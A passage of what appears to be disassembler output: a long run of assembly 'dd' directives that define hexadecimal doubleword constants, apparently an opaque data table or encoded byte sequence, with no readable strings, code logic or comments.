0D010D01h dd 9010D01h, 80E0700h, 2 dup(10D010Dh), 0E070009h, 0D010D08h dd 0D010D01h, 7000201h, 0B71080Eh, 0D111C1Bh, 10D0105h dd 10D010Dh, 10D0100h, 10D010Dh, 100010Dh, 2 dup(10D010Dh) dd 10D0100h, 10D010Dh, 700010Dh, 2 dup(10D010Dh), 7000902h dd 111C3605h, 0D621A16h, 0D010D01h, 9010D01h, 80E0700h dd 2 dup(10D010Dh), 0E070002h, 111C1B0Bh, 10D0B71h, 300010Dh dd 0D0B7103h, 10D01h, 0B710303h, 10D010Dh, 71030300h, 0D010D0Bh dd 3030001h, 2 dup(10D010Dh), 7000902h, 111C3605h, 0E151A16h dd 89FF4408h, 60C1501h, 0FF498C0Ah, 88A018Ah, 0FF1F8AFFh dd 89DDB84h, 0FFD38AFFh, 0FF08D03Ah, 0FA4E568Ah, 3E80FF0Bh dd 418AFF08h, 0FF0B8A5Ch, 8BFF3980h, 0FF089DD1h, 3AFF028Ah dd 0FF4E0806h, 9D0B3E80h, 3A80FF90h, 80FF100Bh, 18159022h dd 89FF1D13h, 2BFF8110h, 0FF765BC2h, 1141C123h, 11310FFFh dd 1E1E1A16h, 4A0A060Ch, 0E7330200h, 2BFF000Fh, 1BFF06C7h dd 1AD02D3h, 0AD050600h, 3BFF0001h, 225433D6h, 54FF81FFh dd 0AAD0506h, 0FF920500h, 4336D63Bh, 3B9C2254h, 0FF364305h dd 2254D63Bh, 43053B9Ch, 0D63BFF36h, 3B9C2254h, 0FF364305h dd 2254D63Bh, 43053B9Ch, 0D63BFF36h, 3B9C2254h, 0FF364305h dd 2254D63Bh, 431B3B9Ch, 87C12BFFh, 1C1D1318h, 61A1611h dd 5BF0A28h, 61020506h, 0C6FF765Bh, 8145B46h, 3000602h dd 508030Eh, 6051036h, 5B610205h, 80FF5B76h, 41131866h dd 2A1A1611h, 20A060Ch, 10409h, 0D070009h, 0FF150F01h dd 0FF15B08Dh, 14B4EA05h, 7C345E00h, 534EB33h, 0A8143A3Ah dd 0FF7C5E60h, 0A834FA8Bh, 0A81434EBh, 8BFF0360h, 146034C2h dd 10D010Dh, 0D010D0Fh, 1B050F01h, 0C7FF9503h, 4866C85h dd 236A0F01h, 0B6A0B3Ah, 6A230B6Ah, 3 dup(6A10230Bh), 230B6A0Bh dd 2 dup(230B6A10h), 8550B6Ah, 0E001404h, 0FF3A0B3Ah, 80FFA580h dd 0FFF1BA5h, 9D89FFA2h, 0CD9589FFh, 2012C0Dh, 2B02020Ch dd 0D0B0E0Fh, 104012Bh, 20C010Dh, 0E0F093Ah, 504050Bh dd 9070001h, 295E2D0Fh, 2D50087Ch, 8D18BFFh, 2DD08BFFh dd 1E4C810Bh, 90C1E4Ch, 90109ADh, 90609h, 4010401h, 9272727h dd 102020Ah, 1040700h, 10204h, 1B070027h, 1C1D1318h, 2063Fh dd 8320320h, 13538h, 5020303h, 7000206h, 1A161113h, 90A0662h dd 0D00010Dh, 33000001h, 20D0502h, 6200001h, 0B320700h dd 92001029h, 0CF2BFF29h, 0FF003BA6h, 1318C72Bh, 0C1E111Ch dd 20A0616h, 0C52000h, 5000C533h, 8BFF00C5h, 0FF00C5E8h dd 0C54489h, 34403FFh, 3FF3405h, 3FF03C5h, 0ED1887C3h dd 601D4113h, 1A161103h, 1B2C0C2Ah, 80A06DAh, 0FF259B5Eh dd 0FF0B1939h, 0FF2BE8D1h, 2C10788Dh, 20000C0Ah, 16B7504h dd 10400h, 1046Bh, 2000104h, 102040Ch, 6E075000h, 222D4D0Bh dd 1C1D1318h, 1260411h, 4020104h, 4000106h, 4010001h, 7000C01h dd 23145A00h, 106040Ah, 1407000Ch, 81F080Eh, 3B67A500h dd 0FF3B6315h, 10144503h, 0C3B6315h, 5A100300h, 6DDFFF14h dd 5DD9FFh, 0FF145AA5h, 0D8FF6DDFh, 7DD8FF0Dh, 200C00h dd 16175303h, 60C2A1Ah, 409020Ah, 90001h, 1060426h, 480D0700h dd 60A0A01h, 50B0E0Fh, 2040A0Ah, 79791501h, 0F090Fh, 207C345Eh dd 140534EBh, 7C5E6053h, 34F28BFFh, 1434EB53h, 26036053h dd 0C28BFF06h, 4146034h, 60D0001h, 75D0001h, 0FF0A0867h dd 1E028D8Dh, 0FFFF1E4Ch, 0FF080ED0h, 20845F6h, 10D0210h dd 30300h, 400E2623h, 0E00430Bh, 430B40h, 3B471463h, 473B6347h dd 0BAFF2D00h, 0FA8BFF5Eh, 0FF2DB308h, 9308F28Bh, 0A820B2Dh dd 60D0914h, 5A091E09h, 1E6DDFFFh, 0DD8FF1Eh, 90C09D3h dd 1040109h, 4020104h, 7000102h, 2040104h, 270001h, 13181B07h dd 63F1C1Dh, 3200002h, 35380832h, 3030001h, 2060502h, 11130700h dd 5D621A16h, 0D4A1406h, 80E0F01h, 81F081Fh, 10D081Fh dd 10D010Dh, 100F010Dh, 1050D05h, 0CF150700h, 14000305h dd 0F003FF8Bh, 7145FEFFh, 1C13530Bh, 2A1A1611h, 20A060Ch dd 10409h, 26070009h, 2C051B95h, 0A36C2B03h, 955EA4FFh dd 3A8D866Ch, 145D97DDh, 0E0F010Dh, 1F121F12h, 0D05230Bh dd 7000105h, 305CF15h, 8B142D00h, 102040Bh, 10030300h dd 3 dup(10230B1Fh), 2308231Fh, 2 dup(10D010Dh), 155A100Fh dd 8450BFFh, 0A090D09h, 4010401h, 7300102h, 10A0D10h, 2040104h dd 70073001h, 45FEFF4Dh, 82D2171h, 10204h, 40C0303h, 2040109h dd 4073001h, 1020401h, 7002700h, 1D13181Bh, 2063F1Ch, 32032000h dd 1353808h, 2030300h, 20605h, 16111307h, 10D621Ah, 0F010D0Fh dd 854B561Bh, 4B562E56h, 92E5685h, 90909h, 0DFFF8B14h dd 0D31E1E6Dh, 30300h, 5E340F10h, 111C4260h, 0D621A16h dd 10D0F01h, 4B561B0Fh, 562E5685h, 2E56854Bh, 9090909h dd 0FF8B1400h, 1E1E6DDFh, 30300D3h, 0F111C00h, 1C605E34h dd 621A1611h, 0D0F010Dh, 561B0F01h, 2E56854Bh, 56854B56h dd 909092Eh, 8B140009h, 1E6DDFFFh, 300D31Eh, 0F100003h dd 1C052BFFh, 2583FF11h, 0C5420002h, 16110300h, 202051Ah dd 0C6015DC6h, 622589FFh, 0FF0A060Ch, 155A6589h, 43308BFFh dd 40788BFFh, 6030001h, 0CB080E0Fh, 2020608h, 0A100700h dd 4D83FF30h, 9020210h, 0FF110700h, 83FF658Bh, 0C6441B4Dh dd 180D89FFh, 3F1C1D13h, 61E1A16h, 3200005h, 0FF150832h dd 7B150689h, 605010Dh, 50202h, 1080E07h, 1036050Fh, 1B030006h dd 16111C13h, 202051Ah, 0C6015DC6h, 2A2589FFh, 0FF0A060Ch dd 0A0FF6589h, 1B0305BDh, 0DD866C95h, 0B1285A97h, 0CD488BFFh dd 104013Dh, 0B1030300h, 50FFFF06h, 104D83FFh, 9020104h dd 0FF110700h, 83FF658Bh, 0C6441B4Dh, 180D89FFh, 3F1C1D13h dd 0C1E1A16h, 20A06h, 90B03CBh, 172C0300h, 2C0D8BFFh, 34082337h dd 28418DFFh, 83039FFh, 83FF8790h, 342B4BFAh, 0FF418DFFh dd 90081839h, 0FA83FF87h, 300094Bh, 0C28BFF17h, 0FFC069FFh dd 0FF14C103h, 28081089h, 0FF085715h, 0FF440689h, 10D4889h dd 13D0915h, 0D0071500h, 0FF5889FFh, 571505FFh, 13D920Bh dd 0C021E0Ch, 744000Ch, 154189FFh, 60BF4h, 0A0DFFFFh, 10C0Dh dd 1D051007h, 18030002h, 13C38BFFh, 6111C1Dh, 60A26h, 0DFFFFB2h dd 77FFFF03h, 0A05020Fh, 7000600h, 16111318h, 28062A1Ah dd 6120A32h, 8038A00h, 20230006h, 7303000Ah, 69FF3B03h dd 9AED5DF6h, 40C7FF08h, 1003000Ah, 402060Ch, 23000102h dd 8BFF000Ah, 5D4A071Dh, 0FF089AEDh, 1E3D8D8Dh, 4BFF01h dd 8038A03h, 44C7FF5Dh, 81FF086Eh, 0FE81FFC6h dd 3000A22h, 1C13181Dh, 6162A11h, 0FFB48BFFh, 3BFFED33h dd 6120AF5h, 8038A00h, 20230006h, 7303000Ah, 69FF3B03h dd 0FFED5DF6h, 0FF086839h, 8BFF0DFFh, 1160270h, 6160700h dd 0A0F060Fh, 0C170300h, 25F0206h, 20001h, 89FF075Dh, 5D474844h dd 6839FF87h, 4CFFFF08h, 3D4C8DFFh, 300011Eh, 5D08038Ah dd 870DFFFFh, 0FF01160Ch, 700708Bh, 60F0616h, 6C39FF0Fh dd 0FB03FF08h, 22FF81FFh, 1D030002h, 0FF411318h, 1611C481h dd 4022A1Ah, 9000109h, 0E075D00h, 50A0612h, 1020401h, 62600h dd 48075ACAh, 608E05Dh, 60FC500h, 5F035D00h, 2090401h dd 75D0001h, 0FF4D0BE0h, 81FFC781h, 64BFFh, 131B1803h dd 1020410h, 31B0300h, 2063F1Ch, 8030E00h, 10674h, 7000206h dd 60B0Eh, 6111303h, 6050574h, 0E075D00h, 0FF060208h, 1113D0FFh dd 11130F06h, 38110F38h, 1A16110Fh, 65152806h, 6C10FFFh dd 16114113h, 1528061Ah, 687FF65h, 16114113h, 1F0F621Ah dd 20B14h, 111C1B03h, 50A060Ch, 1050Dh, 75B60FFFh, 6458AFFh dd 65000AFh, 7000C05h, 36053B71h, 8DFF5310h, 3000670h dd 60D0933h, 66FF010Ah, 145B60Fh, 0F09090Ch, 440F081Fh dd 100189FFh, 0F8BFF15h, 0FF4889FFh, 89FF4F8Bh, 0C0F0948h dd 3000A00h, 18360503h, 111C1D13h, 0C2A1A16h, 9020A06h dd 9000104h, 0FF072C00h, 20B1D38h, 1242390Fh, 3001028Dh dd 2 dup(30A14202h), 5C6FF42h, 12DA12DAh, 10412DAh, 0B141F0Fh dd 390F0104h, 0BF0FFF12h, 511EC048h, 700010Dh, 0FF832B71h dd 2137820Fh, 4A4D83FFh, 2B2B3748h, 2B2B2B2Bh, 50B572Eh dd 109090Dh, 0E070009h, 0B391512h, 4501FF15h, 0C9143BC9h dd 210142Eh, 5170300h, 0FF641314h, 15227D3Bh, 150B1437h dd 75F7FF34h, 0D140505h, 12390F01h, 4DB60FFFh, 0B60FFF1Eh dd 0FFF1E4Dh, 0FF1E4DB6h, 1E4DB60Fh, 909D651h, 2040109h dd 10070001h, 2B2B09D6h, 204012Bh, 15070001h, 0FF3A0BC9h dd 8AFF45FEh, 453AFF45h, 1B1318BBh, 0D63F1C1Dh, 0D601D601h dd 901D601h, 10909D6h, 10204h, 1A161007h, 480A061Eh, 9020B88h dd 17030300h, 3200002h, 12F73BFFh, 60902h, 14509h, 9088807h dd 85036300h, 10030009h, 0FF883605h, 9088688h, 85036300h dd 10030009h, 8E48829h, 10030009h, 0DE43605h, 2060A01h dd 670F0A0Ah, 1700060Bh, 13180F01h, 1A16111Ch, 60C0029h dd 8BFF0A28h, 5E8DFF0Eh, 0CBE8DFFh, 0FFFF450Ah, 10231h dd 0A020502h, 52073300h, 32FF0B40h, 40C17C0h, 40F0102h dd 1250001h, 0A0104h, 4120E07h, 0A0102h, 1F120E07h, 8DFF5512h dd 0C23089Dh, 3B80FF00h, 2081403h, 0E03000Ch, 100C0803h dd 0D83BFF04h, 1450208h, 2030300h, 0B1000A0Fh, 588BFF0Ah dd 36E0300h, 80FF680Bh, 0B3FF0B3Bh, 0DB32FF10h, 0FF030009h dd 1318C38Ah, 16111C1Dh, 4022A1Ah, 9000109h, 10400h, 40B8A07h dd 1020401h, 270700h, 3F1C1B03h, 62D1A16h, 20000212h, 9083203h dd 2D000135h, 9080303h, 3000145h, 0FF0A1003h, 0A02BE8Dh dd 7000A00h, 9450218h, 9070001h, 6050209h, 13070002h, 64F1141h dd 8AFF0A74h, 88AFF16h, 8E20BFAh, 10250B69h, 3AFF08E2h dd 86908D1h, 4B890B69h, 0B899689h, 0FF104E25h, 0BAE10B0h dd 0A788DFFh, 8A030006h, 38FF0B03h, 104E0806h, 18C032FFh dd 0C4F1113h, 0FF0A7406h, 0BE20E8Ah, 0E2088AFFh, 250B6908h dd 108AFF10h, 3AFF08FAh, 4B6908CAh, 4B699669h, 8AFF8569h dd 0F380FFD9h, 8DA3AFFh, 0B890889h, 96694B69h, 4E250B69h dd 10B0FF10h, 8DFF0BAEh, 60A78h, 0B038A03h, 80638FFh, 32FF104Eh dd 1D1318C0h, 0FF05C211h, 836C985h, 0FFF4BA6h, 0BB844AFh dd 621A1611h, 260A060Ch, 2C7D8DFFh, 0A566FFA3h, 2B28A4FFh dd 3E80FF2Bh, 468AFF0Bh, 81DA205h, 1D050BA2h, 3330006h dd 40DF3BFFh, 2BFFB92Bh, 154FFFFBh, 4BE0FFFh, 31F0001h dd 851F4B14h, 1F10143Dh, 0FF851F4Bh, 8FA558Ah, 4C1D0D05h dd 0FFD82BFFh, 56C2BE0Fh, 48DFF0Bh, 518AFF14h, 0A0BFA5Ch dd 0FFF0005h, 1FF45AFh, 3154D45h, 3C94FFFh, 1318154Bh dd 1B111C1Dh, 291A1610h, 28060C00h, 900AC0Ah, 10433h, 10409h dd 0E3090515h, 7000104h, 14360524h, 1040Bh, 460B2417h dd 1040B0Eh, 10D010Dh, 10D0700h, 1170002h, 10190300h, 2040B24h dd 0F010F01h, 8E0FFF0Eh, 17020104h, 4190B24h, 17000119h dd 2C152124h, 21239C0h, 10401h, 20000104h, 0C3967307h dd 3000A02h, 40B030Eh, 11F88FFh, 10400h, 53032003h, 0FF037E05h dd 0FFD0F9F7h, 0D9DFC82Bh, 2 dup(10604h), 4010401h, 4070001h dd 24170201h, 462C2821h, 21AE1239h, 0E000125h, 25461203h dd 92030001h, 0FF187E05h, 2BFFFFF7h, 4D9DFC8h, 1254601h dd 1040100h, 6042000h, 4070001h, 19C88FFh, 0B241702h, 10419h dd 40B2417h, 24170001h, 3260521h, 0FFA36C95h, 32605A4h dd 6C7D8DFFh, 12C04A3h, 0A4FF3A2Bh, 10D0300h, 10C0402h dd 40E0F02h, 0D000B01h, 0D030001h, 1040103h, 10C0D0Ch dd 0D0E0F09h, 37000801h, 0F091203h, 9030017h, 326050Fh dd 4A36C95h, 0A4FF01h, 343A7F03h, 0AB82153Ah, 0FF180594h dd 0FF06B60Fh, 810AC803h, 0FFF7FF7Eh, 810688FFh, 0F7FF037Eh dd 4DFFFFF9h, 0FF4479FFh, 0FFFF848Ah, 4488FF4Dh, 10479FFh dd 130D0500h, 0D01067Fh, 83830183h, 60D0083h, 10D01h, 0D01060Dh dd 60D0001h, 10D01h, 0D01060Dh, 0D070001h, 24170201h, 91832C0Bh dd 10408h, 1049117h, 170008h, 17000104h, 1040B24h, 21241700h dd 0FF032605h, 0A36C7D8Dh, 8BFFA4FFh, 8DFF2615h, 0FFA31B7Dh dd 8AFFA566h, 3AFF234Dh, 392CB70Ah, 2639230Bh, 10D260Bh dd 6035D00h, 10A25FFh, 5B60FFFh, 4010D01h, 10D0001h, 0B241700h dd 19190419h, 11919h, 150B2417h, 4013D72h, 17000106h, 12241224h dd 4190B24h, 17000119h, 79150B24h, 11904h, 190B2417h, 1191904h dd 0B241700h, 19047915h, 24170001h, 0E46280Bh, 20112h dd 17000219h, 79150B24h, 0B241700h, 4791505h, 24170001h dd 2410010Bh, 1040Bh, 20B2417h, 0B241702h, 1047915h, 12241700h dd 12241224h, 1040B24h, 0B241700h, 80E4628h, 30E0001h dd 2190212h, 2021700h, 0B241700h, 19190419h, 11919h, 21241707h dd 39462C28h, 0FF000112h, 1E0D1h, 36D0333h, 1001912h, 700190Ah dd 1020A04h, 26000A00h, 10604h, 23500007h, 4010604h, 0FF070001h dd 0FF000B4Fh, 201C32Bh, 490B2410h, 1239C12Ch, 10001h dd 3570320h, 0FFFF0612h, 0FF030077h, 4031C88h, 10206h dd 24170006h, 0B32800Bh, 1040202h, 6170700h, 0B241702h dd 24170019h, 104190Bh, 0B241700h, 24170019h, 479150Bh dd 24170001h, 104190Bh, 0B241700h, 19190419h, 17000119h dd 4190B24h, 17000119h, 2020B24h, 2030300h, 460B2417h dd 2312392Ch, 80000A01h, 0B035703h, 6260626h, 6030300h dd 1700020Ah dd 2C460B24h, 57801239h, 106260Bh, 800B2410h, 2061232h dd 800B2417h, 61232h, 0FFF0363h, 170F018Fh, 2C800B24h dd 0C0151257h, 6011239h, 0B241700h, 12572C80h, 1239C015h dd 17000601h, 0C0150B24h, 1701120Eh, 2C800B24h, 29DA0B57h dd 201290Bh, 60217h, 2503765Bh, 24174203h, 1040Bh, 0FF0B2417h dd 15127E83h, 24170279h, 24122412h, 40B2412h, 0C012C02h dd 0C0F010Fh, 10C040Ch, 1F0F0C02h, 30002BBh, 0B240F0Ch dd 0FF123280h, 106B60Fh, 1040201h, 0B241700h, 12241700h dd 0B241224h, 1047915h, 12241700h, 21241224h, 5E39FF2Ch dd 46C7FF0Bh, 0C0C010Dh, 210E0F19h, 12143915h, 0C0C0523h dd 15010204h, 0E0F7979h, 8BFF1521h, 460B9C48h, 0B1838FFh dd 8D8DFF29h, 402011Eh, 10070001h, 0FF0B9C46h, 290B1838h dd 1E8D8DFFh, 0FF100201h, 290B1838h, 0AD958DFFh, 204011Eh dd 0A070001h, 39C0150Fh, 0F092114h, 2C0B2417h, 0B5E39FFh dd 0D46C7FFh, 190C0C01h, 50B0E0Fh, 2040C0Ch, 79791501h dd 0B0E090Fh, 38FF800Fh, 4260B1Eh, 17020601h, 1702190Fh dd 2C462124h, 11239h, 19BB031Fh, 19020500h, 0E070033h dd 0FF874621h, 88FF488Ah, 488AFF4Dh, 7F4D88FFh, 0FF488AFFh dd 8AFF4D88h, 4D88FF48h, 488AFF7Fh, 0FF4D88FFh, 88FF488Ah dd 8AFF7F4Dh, 4D88FF48h, 0AF408AFFh, 7F010Dh, 10D0103h dd 0D010300h, 1030001h, 300010Dh, 2190401h, 17070001h dd 24170219h, 2C140021h, 10C0D05h, 7007F2Bh, 45C766FFh dd 6723A500h, 5023Bh, 0F010303h, 66FF0C05h, 3004589h, 50C0314h dd 0D200F05h, 0F060105h, 1050D0Ch, 0F060F06h, 4583FFh dd 152267A5h, 0EA295463h, 24170201h, 24122412h, 1904190Bh dd 7000119h, 24122417h, 24122412h, 10B2412h, 20030002h dd 2060403h, 32070001h, 17000612h, 1040B24h, 8241700h dd 21240824h, 12392C46h, 125E39FFh, 10205h, 190B0E07h dd 3030002h, 3001902h, 1921030Eh, 2C801702h, 60857h, 2B101403h dd 9D342300h, 0F6F7FF92h, 5A92634h, 8BFF8114h, 348260CFh dd 1434EB81h, 360D081h, 34C28BFFh, 56151460h, 820FFFh dd 0DF8BFF34h, 34EB0592h, 0F7FF8114h, 3482AAF7h, 0F7F7FF81h dd 0FF811434h, 503F6F7h, 34C28BFFh, 5EBAFF60h, 0FF36508Bh dd 0BE08D83Bh, 2 dup(0BE088B56h), 0FA8BFF56h, 0FF56B308h dd 9308F28Bh, 9820B56h, 9090C04h, 90A0909h, 91E0906h, 7000102h dd 2 dup(10417h), 5020217h, 10204h, 21007h, 191919h, 4791517h dd 10030001h, 19100002h, 19191904h, 17000119h, 3007915h dd 1C1D1318h, 8AFF4F11h, 0E20B6908h, 11102508h, 62A1A16h dd 1040902h, 0D000900h, 6040126h, 0E070001h, 250BAE08h dd 1040110h, 1020402h, 10400h, 506010Dh, 27100700h, 131B0300h dd 1A163F1Ch, 28060C2Ah, 0FF12320Ah, 4E213E80h, 3000602h dd 12030E14h, 9EC62BFFh, 8154A629h, 1060401h, 5040500h dd 470D0001h, 10C0401h, 120E0700h, 10250BAEh, 1E4C1E4Ch dd 1021E4Ch, 211F0700h, 3300010Dh, 300010Dh, 21035220h dd 1020Dh, 12030E03h, 1020Dh, 0B030E03h, 605E3400h, 1020D17h dd 30E0300h, 0D10230Bh, 3000102h, 0B030Eh, 1020D10h, 30E0300h dd 0D10000Bh, 3000102h, 0B030Eh, 1020D10h, 30E0300h, 32330021h dd 1020D21h, 30E0300h, 1020D12h, 30E0300h, 5E34000Bh, 20D1760h dd 0E030001h, 10260B03h, 1020Dh, 0B030E03h, 20D1000h, 0E030001h dd 10000B03h, 1020Dh, 0B030E03h, 20D1000h, 0E030001h, 20002103h dd 1020Dh, 0B030E03h, 20D2199h, 0E030001h, 12990B03h, 1020Dh dd 0B030E03h, 20D2E99h, 0E030001h, 22990B03h, 1020Dh, 0B030E03h dd 20D3B99h, 0E030001h, 54990B03h, 50C010Dh, 15170700h dd 3000125h, 13181B10h, 6111C1Dh, 3300380Ah, 2085203h dd 32032000h, 0A350208h, 45380001h, 0A070001h, 2060502h dd 13180700h, 16115D11h, 372C0C1Ah, 8230A06h, 37000209h dd 9080303h, 0C470210h, 3032D00h, 2100908h, 8DA4A10h, 0FF4E3D29h dd 0B1839h, 0F6F7FF34h, 75348DFFh, 6B00026Bh, 0FF000C47h dd 3207B68Bh, 0A0608h, 20303h, 0A000Ch, 1D131807h, 1A161141h dd 106042Ah, 1040104h, 8F70700h, 3000626h, 6000206h, 0F54A0700h dd 408F708h, 4100102h, 0F7000201h, 4080303h, 4100102h dd 3000201h, 4010304h, 4010401h, 7000201h, 8F512F5h, 20208F7h dd 17030300h, 605E3400h, 3B141Fh, 2040B0Eh, 1040001h, 10400h dd 0D001707h, 30E0001h, 1020D0Bh, 30300h, 0C13BFF5Eh, 8110002Eh dd 140CEAh, 473B4763h, 0A473B63h, 951B0305h, 6C85C7FFh dd 0F010486h, 6A0B186Ah, 513050Bh, 3030005h, 50501h, 1320303h dd 83FF59B7h, 0FFF3DE0h, 0C01C0BEh, 9050D09h, 5010505h dd 10204h, 81DF707h, 60226h, 0F7070006h, 6022608h, 7000600h dd 2 dup(20104h), 111C1307h, 0A06160Ch, 383838h, 0FF2300A1h dd 26000ABDh, 0C470006h, 0A0605h, 600420Ah, 0BCB0700h dd 101011Bh, 0F160700h, 0B9FD81FFh, 0AC581FFh, 0C000600h dd 0A0605h, 600420Ah, 5100700h, 3030005h, 1D411318h, 291A1611h dd 2040900h, 1E4C0001h, 2BFF095Eh, 11E58C8h, 1020400h dd 10400h, 0A1010401h, 111C0700h, 291A16h, 1020409h, 5E1E4C00h dd 0C82BFF09h, 11E58h, 10204h, 1000104h, 0A10104h, 16111C07h dd 600291Ah, 0BE80FF28h, 868BFF21h, 350B1F0Ah, 1F100201h dd 201350Bh, 1351F10h, 210020Bh, 7000104h, 33BE83FFh, 868BFF08h dd 0B1F081Fh, 10204h, 10D0303h, 2BFF0929h, 15801C7h, 0B68BFF00h dd 8187307h, 2040B73h, 3030001h, 10204h, 1000104h, 0A10104h dd 111C1307h, 291A16h, 904010Dh, 2 dup(4000102h), 4010001h dd 700A101h, 205111Ch, 61E110Fh, 39FF480Ah, 2000087Ch dd 0FFF73BFFh, 0C087489h, 0A020216h, 0F050A05h, 0A500A0Ah dd 380F0C02h, 16E88BFFh, 0A030300h, 8D060205h, 2050A30h dd 0F163038h, 1D410F0Ch, 11031318h, 5C8BFF0Ch, 0C0A16h dd 48E88BFFh, 3ED85FFh, 0FFCE0696h, 0BA2348Dh, 0A2100505h dd 80E000Bh, 5100505h, 0FF030005h, 64030688h, 4BFD3BFFh dd 1D411813h, 2A1A1611h, 0A28060Ch, 300AC02h, 190B030Eh dd 2170002h, 0E030019h, 19021203h, 30E0300h, 190212h, 21030E03h dd 12674846h, 217880FFh, 3000102h, 4621030Eh, 1021267h dd 30E0300h, 0FF128821h, 3BFF4E8Bh, 39FF12CFh, 39FF127Eh dd 6746127Eh, 3980FF12h, 0FF000112h, 0DE094E8Bh, 4000104h dd 5000102h, 0FF010A04h, 1900BD89h, 85C7FFh, 0C8B60FFFh dd 78921E07h, 0C9B60FFFh, 0FF78921Eh, 0EAC9B60Fh, 20D011Eh dd 0D190001h, 19040119h, 7000109h, 190217h, 8030E03h, 3001902h dd 208030Eh, 0E030019h, 19020803h, 150B0E0Fh, 90125C0h dd 8881700h, 20A0202h, 17070009h, 90202h, 19024817h, 30E0300h dd 5E340021h, 3B141F60h dd 40B0E00h, 4000102h, 1040001h, 170700h, 0E00010Dh, 20D0B03h dd 3030001h, 3BFF5E00h, 10002EC1h, 14EA81h, 473B4763h dd 5473B63h, 0FF95031Bh, 6C4A85C7h, 0F010486h, 0B6A0B6Ah dd 5051305h, 1030300h, 3000505h, 0B7013203h, 0E083FF59h dd 0BE0FFF3Dh, 90C01C0h, 509050Dh, 4050105h, 7000102h dd 17020104h, 300AC02h, 0A0B030Eh, 17000A0Ah, 3001902h dd 0B030E23h, 300090Ah, 460B030Eh, 0BAE080Eh, 17020125h dd 3001902h, 521030Eh, 1190Dh, 0A010Dh, 2010D07h, 2030300h dd 7000202h, 1000104h, 30E0300h, 10408h, 0D08030Eh, 4170201h dd 3000201h, 19021703h, 30E0300h, 5010Bh, 190210h, 0B030E03h dd 2123280h, 0E030006h, 0FF261203h, 2306588Dh, 4000A0Ch dd 7000C01h, 604128Ah, 7000A01h, 190217h, 0B030E03h, 124639FFh dd 300090Ah, 4621030Eh, 170A0125h, 3001902h, 4921030Eh dd 0FF120EC1h, 0FA9E508Ah, 3D0B8912h, 100011Eh, 125C1h dd 0C25C150h, 7C10001h, 0C101080Eh, 300015Fh, 0FFC11003h dd 8BFF6480h, 7F80FF7Fh, 12478DFFh, 0A1E234Ch, 0E070001h dd 250BAE12h, 19040110h, 10202h, 0D000104h, 50A01h, 122D1007h dd 127E83FFh, 0FF7E83FFh, 2125E8Dh, 0E030009h, 0FF151203h dd 23D03FFh, 0FFFF14h, 3030019h, 0B180E05h, 0AE038BFFh dd 145A4608h, 190217h, 21030E03h, 0AE038BFFh, 0FF25440Bh dd 40150389h, 0FFFF48h, 0BE3E39FFh, 8F94308h, 3005115h dd 98BFF44h, 83FF08F8h, 0FF156445h, 100B3883h, 10143A46h dd 0ABCF8BFFh, 0FF148BFFh, 0FFCF6480h, 80FF0C8Bh, 9F151064h dd 34FFFFh, 0C8BFF03h, 0FF0B5FF8h, 90200C6h, 30E0300h dd 514150Bh, 10504h, 8BFF5A15h, 400A38h, 0FF141F07h, 8AFF820Fh dd 590B694Ch, 0F80BF810h, 0FF85690Bh, 3AC9BE0Fh, 0FFE883FFh dd 141F84C6h, 49082D3Bh, 29FF435Ah, 78BFF7Dh, 0CF44080Eh dd 0FFCA03FFh, 6622C13Bh, 2 dup(84D39FFh), 3003815h, 0DE4F8BFFh dd 8BFFBE66h, 2080FF07h, 8BFF8715h, 2280FF10h, 0FF0F89FFh dd 0E14D0889h, 0A23222Dh, 0E030019h, 0C090B03h, 83FF7210h dd 0FF02123Eh, 30033FFh, 0FF08030Eh, 0A33FFh, 0B038A03h dd 33FFFFh, 0FF54031Fh, 0A3B8Bh, 0A0B03F8h, 0B8BFF00h dd 6480FFh, 60033405h, 0FF33FFFFh, 64FA8Bh, 4B036703h dd 6013D15h, 9090104h, 7000909h, 1C1D1318h, 291A1611h dd 5040C00h, 12C0D01h, 92B0104h, 90200h, 25765B07h, 37124237h dd 20A0612h, 0E030009h, 9020803h, 30E0300h, 839150Bh, 0BAE0B37h dd 0B7880FFh, 108AE3Dh, 8030E00h, 1E3D9E15h, 15010001h dd 20000125h, 1062515h, 0FF051500h, 10D6480h, 909010Dh dd 9020700h, 30E0300h, 2608DA08h, 1500ECAAh, 125ECh, 0AC0B8A07h dd 3D77200h, 3E83FFAAh, 0FFFF100Bh, 3A030034h, 0B58DFF05h dd 4EFF3648h, 0C803FF44h, 0B3980FFh, 5A480FFh, 0FF0B5218h dd 88FF118Ah, 118AFF94h, 0FF1488FFh, 25083980h, 0FF044B63h dd 0D01A580h, 80FF0401h, 10401A5h, 18070009h, 111C1D13h dd 80FFB20Ah, 0A06083Fh, 200A00h, 33E80FFh, 130BAA03h dd 50A1118h, 6C231B03h, 0FFF1886h, 88FF88B6h, 221F2581h dd 61A1611h, 1F000628h, 1B3B1403h, 50A0C17h, 90186634h dd 0C87D3BFFh, 1CBE0FFFh, 9B8AFF15h, 5FE3C0FFh, 3BFF645Ch dd 0FF3BFC4Dh, 0FF1CBE0Fh, 0C0FF9B8Ah, 1808FFEBh, 7D3BFF90h dd 0BE0FFF3Bh, 8AFF151Ch, 0E3C0FF9Bh, 0FF645C5Fh, 3BFC4D3Bh dd 1CBE0FFFh, 0FF9B8AFFh, 8FFEBC0h, 3BFF9018h, 0FFF3B7Dh dd 0FF151CBEh, 0C0FF9B8Ah, 645C5FE3h, 0FC4D3BFFh, 0BE0FFF3Bh dd 9B8AFF1Ch, 5C1808FFh, 0FF181764h, 131D428Dh, 1A161141h dd 490A060Ch, 0FFF05CFh, 13EA07B6h, 0FF808AFFh, 8AFF0288h dd 0E180FF0Fh, 0E1C0FF53h, 0FFF08F5h, 0FFF1CB6h, 0F0C4C9B6h dd 0FF8B8AFFh, 0FFFD0C88h, 0FF25E180h, 0FF4EE1C0h, 0FF08753Bh dd 0FF1CB60Fh, 0C4C9B60Fh, 8B8AFFF0h, 0FD0C88FFh, 8AFF25CCh dd 0C88FF89h, 3BFF4E25h, 0FFF0875h, 0FF780CB6h, 88FF898Ah dd 80FFFD0Ch, 0C0FF25E1h, 3BFF4EE1h, 0FFF0B75h, 83FFC9B6h dd 898AFFC9h, 250C88FFh, 1D1318DEh, 74061141h, 300060Ah dd 0FF960E66h, 0FFF148Ah, 80FFFABEh, 0B890BBFh, 54BA65Ch dd 11131836h, 1A16101Bh, 10D62h, 1090D09h, 2010D00h, 8DFF0700h dd 5AFF0505h, 0FF088AFFh, 88FFC1D2h, 4AFF2508h, 16111C0Bh dd 6628061Ah, 0E8AFF1Bh, 8C985FFh, 83FF229Ch, 3FFCCE9h dd 8AFFCCC1h, 0C103FF89h, 4EC0C1FFh, 11411310h, 6621A16h 